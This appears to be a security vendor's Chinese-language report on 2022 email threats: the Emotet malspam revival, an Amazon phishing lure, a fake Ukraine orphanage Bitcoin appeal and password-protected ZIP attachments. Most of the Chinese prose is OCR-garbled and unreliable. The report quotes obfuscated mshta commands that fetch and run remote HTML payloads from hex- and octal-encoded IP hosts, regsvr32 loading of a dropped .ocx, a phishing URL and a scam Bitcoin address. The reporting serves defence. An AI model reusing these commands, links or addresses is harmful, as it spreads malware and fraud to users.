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2022 55—, PRV #BRERA B R L BRI LA HR 14, BN Emotet I &, Emotet (YT, 5 7 EMEE SR ENF
B, BB ARBTG5 R M R Fr iR A BV, T AR BEH— N FERMEESME . EE i e Ed N E4RME ],
XEI ARG, ZFENT RIPREXHEERIES, FREZBRENPEIABSHERNPFFE; MITE, £
LEBRNEEREAUEE RN NNRIP R EnRBRBEEANERT, et FRERZ
RENERBHUBRNGEES I, MERRFEMFRBIINE E4E XX R PI SRR FI K TR

ASRCHRIRAFILSFRER, D EEX—EWEREIRI L MFARER A

}
t

§

Emotet BEIN S, LUINE & = MY Ix & BAEMoT

BIARGHELLR (Europol) 5HE 8 MERMHUEANMTE 20214 1 B T4, EFWIR T Emotet BF ML, BHH
Emotet RS 2R BERHFAE T 2021/11/14 I, Hidid BB FHR 4 R EBUE. Emotet LR B4R H1TohFR S
FEpE B AYEE Office X Z A xIs xIsx. xIsm. doc. docx. doecm... &3, 9 LU zip M EZBH AR, B EELRS
BTN, X U R ER TS E Office X RMZE, Office XIERLRAIURLFIREISWE R TH, VM BRA8ER
.0CX XY, 18524 DLL BUSCRY 32 E T regsvr32.exe -s 38<, FURHEE I Windows RHLIT .ocxo

FEE#ITER . ocx EFIEIB R BR T8I TAppData\Local\FEHLB RE R, FHEEHIENR xxxxxxx.yyy (XEKERE),
BI%iZ oox bR, 1T C:\Windows\system32\regsvr32.exe /s "C:\Users\F8 P & #FAppData\Local\FEH B R& R
THERRSH, Fi@i registry IREFHHITo

C

E
il

BREF5I092, BURESEXMHHIERE, R T SHFAME, 10 o 3ER +7 . ) GARIRY 5%, REFKIZIZR
S5as8Y 1P udik, ML Emotet T &5 2 M ERBGET M, MITHE R R EMIFRRRAIETLIER IR T,

T RA—1mfl:

Fwd: carmina.calixto@hncb.com
== i (0

<salesdept> limsiete Sl
TN CARM LIXTO,
Attach

: ment_
a7els

Attachment 147.xls X

Hi

Please open the attached document
Attachment 147 xbm

sabesdept

Ensonia=Sgs Wiasdcom

Sent from my =8

Y BRI RREFE, 1L S URIERBEBRRIEROUNA R
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[E—MiL A RIX A :

o +#HIAE T hxxp://185.7.214.7

o 7 EIRE T hxxp://0xb907d607

o )\ hxxp://0056.0151.0121.0114

L EA& L, 33 55 2888 AT LURRART o SEPR_E7E Office Wi G HIREEE TR BNFER, EMA:
e cmd /c mAshAtha hAttApA: /A /[0x]1b907d607/fer/fer.html
e cmd /c mAsh”Atra hAttAp”:/2/0056[.]0151[.]0121[.]0114/c.html

X ZURE BTG RERIUNR R

Kevin Chen
JaneH W com.cn) FRERA 2022/2/8 £°F 08:26
WA Kevin Chen:

i 2022-
02-08_
0925...

AttacHed is an important document, 2022-02-08_0925.zip
|Password: GFDUEGLSY

JaW S5 3
RCT— e S ——

e O Vi T o e
Sent: Timeigr | phemge & 7| )

From: i g i jm— s

To: "V g

When: I s R e s e ke . 3% W e
Subjecs Jibe ik 0 54

¥ U zip i1 EZBBR S, SEHE B R T H890UN

AT X—KBYEmotet N H, 52021 FIHZFAELLER, BRF P HHER Office XAFRIEEM K T 1L 40%; BiF R HEE
%Z|p3‘(1¢: E}ZKTE_ %o
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HWEEKSHHERE

TE=B%, BITMR DT E BN B, XL B EEVEIRMI BTN B E T & HNENKS Z55. TR
"SR &R, BT EMNAEFHEIT EERRZI, WS EB LI EREEIHtAHE. B B FHAEANDR
HEIUHETE (Credential Stuffing) B, $9& MuLBIN R ERFEIE RS, A B = OEEBZH B BB mEXRRES
ER, BERERIR A A — B9 E,

Amazon734 LB OBFT IV FRCHBEIHNET. I AEEEHTS
Amazon (Amazon-update ) EIERRA 202272726 k7 09:00
WA ey

A I PR AR e TUTIV ooV g 2 Y T ot Ml T IR PV L TAN 1= T
TELAEDLILDYMA—FRTHIVMIERESIATOELRA - FLTubA—F1E
HOBHLLUIF LWL DurA—FOEMIZDWWTIEL TOFIEE BRI LS
Ly

1. Fhovbg—E R bAmazon 754 LEBEE—DICTF I ALET -

2. AmazonZ 54 LIZELIzAmazon.co.jpDFh I rEEBLTH A1 LE
4.

3. "TIREDEFZE, OFIZHS "ZURHEEEETSE, DULHEI)VILE
? &

4. BHEIROBIHELFFLLILOvh—RDIESRZE A DL TESL -

la

Amazon.co.jEﬂ)if:ﬂ):‘j‘!ﬁﬁﬁﬁ%[..tﬁ'ﬂi?‘ .

‘'
https://amznan.co.ip.cilism.shop/lugricAbility.php?shOrteRhenfyl7=28uh3

YRR =s RS L E B R S B R A K BIR M TIR R A

H R 5 S 5 F1E BB TRIRER

[TR2XINNEME—EfERETERANTR 202252424 HERBSHF, M3BIH BB AEREKFFHEN
TEIRER AR E . ST AE RBY419scam RREIMTS 2, FIREFHIATREBATHFHXR, RITELELEALER
zE, AEENEMEET, UtsmmE,
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From Ukraine Charity Home

Ukeaine Charity (supg arg) EEEREA 2022379 03:37
1= A Ukraine Chanty:

Greetings from Kyiv (Ukraine) I'm writing you directly from an Orphanage here in Kyiv Seeking for a Financial Aid for the
Kids because we are Unable to Access Our Banks here in Ukraine due to the Current Situation. Your Prayers and
Support is all we need in This Trying Time and we hope we will Prevail knowing how the Whole World is Standing with
Us against the Genocide Going on in our Land ,We Appreciate each and everyone of You who Supports the People of
UKRAINE With Prayers and Financially. Even a little help may go a long way! The banking systems are shut down/not
warking, and we are currently still accepting Bitcoins donations. {1LcsbamA1KkAb4AFngrXfgK1ulY przwives) BITCOIN
ADDRESS 1LcshamA1KkAbAFngrXfgK TulYpxzwiveZ Ukraine Charity is registered with the Charity Commission for
England and Wales ?(Registration No. 1163036). supports@um e ey befas pursieie pesipes oom Postal
Address: Mechnykova st., 4/1, office 18-7. Kyiv. Ukraine. 01133, https://www.ut e s sy org/projects.html
Telephone: +3% L 55 uii & aw » - DT 1256

F RERFELFEFTEXNIERIPGSSENEMEBELET

BB S & FiRERRMHE ZIP IZp R

TEHAXBIBITEE, M4 ZIP NZRBHE R L £ M1P A B 9 PPAP, PPAP 2 H 4 MAPRAERL, Password{d Ezip
TP ZIED FJ PasswordZiXD £9.AnS 1k, Protocol (O ~JL) . — ARSI BB FHBAIE T RIMT(4, 383D ZIP h0
RESE, BRI UREENERD, BT 5 — 4R A W HRE. PPAPNERB T LRESRRFET MEXHSER
BEEFERERNBENEED TR KAERABEERE URMNE X FEZEIEEHH R NEBENERSE, EiiA
T PPAPHERHARE. EFRESEE—FE, BB ST ARG WVEFABHREERRPPAPHERA X, HEMRZEIW
SMNEBEBHFRY, R EETBHARENELRE X4, XNRENES Emotet 5 T ERAEE AN ERREME,

Py ZIP I @R RELE, (EXNJNEERFTLTR

UESX M INE D ZEMEHIENS XNEA T2 ER), ERTRANTMNE, ALNZELIEMRF B ZIRERNKE; B
&, XENNBIERZ D AINERS, TEEHEZEERRE B XAENRRUREEX AN, REZREBEIETT
HEER S,

BFEIRZENREHIEDZHN, ERBUMFNINBEAME S A, BERSDWIENRFRLSRA BRI Z,
BIEnFI AP A% Mail SQR Expert BYERFHINARZINEE, it S/MIME. PGP ATAIRIRTE, AIBIBRIREREES/MNE
BEHFRG . HBEE A XEMBEBRRREEMR, BWEGH, A BapiE XK S BAMEEB LS, LR
AR BIEGEMER); FXEH, ErIRBRERBEDINO BAR, BotEXAREEBEE,
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BHAVERFBAE, DA AT Hm s d i H MW &

AT EEINEHNEN, RERGFIEFLEUHE, ZRE SR SR I EH. I8 A ORI T ASRCHIFEALIE,
B 90% KRZFW & B FHHNNRREE, &I R EEEAERAE, EXEANINER BmE#rEM B G,

SFZ SPAM SQR B& 7T U Z BRI ENGIXTIINE, E ADM (Advanced Defense Module) 3B FATEIHLE, BE B ahAR

HERXAHTAM, 7 AREENS. REBZEREN R EIFAE, AT HIEERM X eI P& XK
i CORRVELR APT U R B Rm S MU B S I S R

X F ASRC 1R 2 HZE A O

ASRC BRI E B ZT AL (Asia Spam-message Research Center), KEISTFHREZE1E, AT
SIEREIRAB. HERERH. MEREEHFHEXMREE, FHsHABEXEESIT. AL, &%
. EARR. BURR. HTESEAR, fREFEFREER O TR UERNZBF
ISEREISTEZSEN

HII

BZER155%E www.asrc-global.cn
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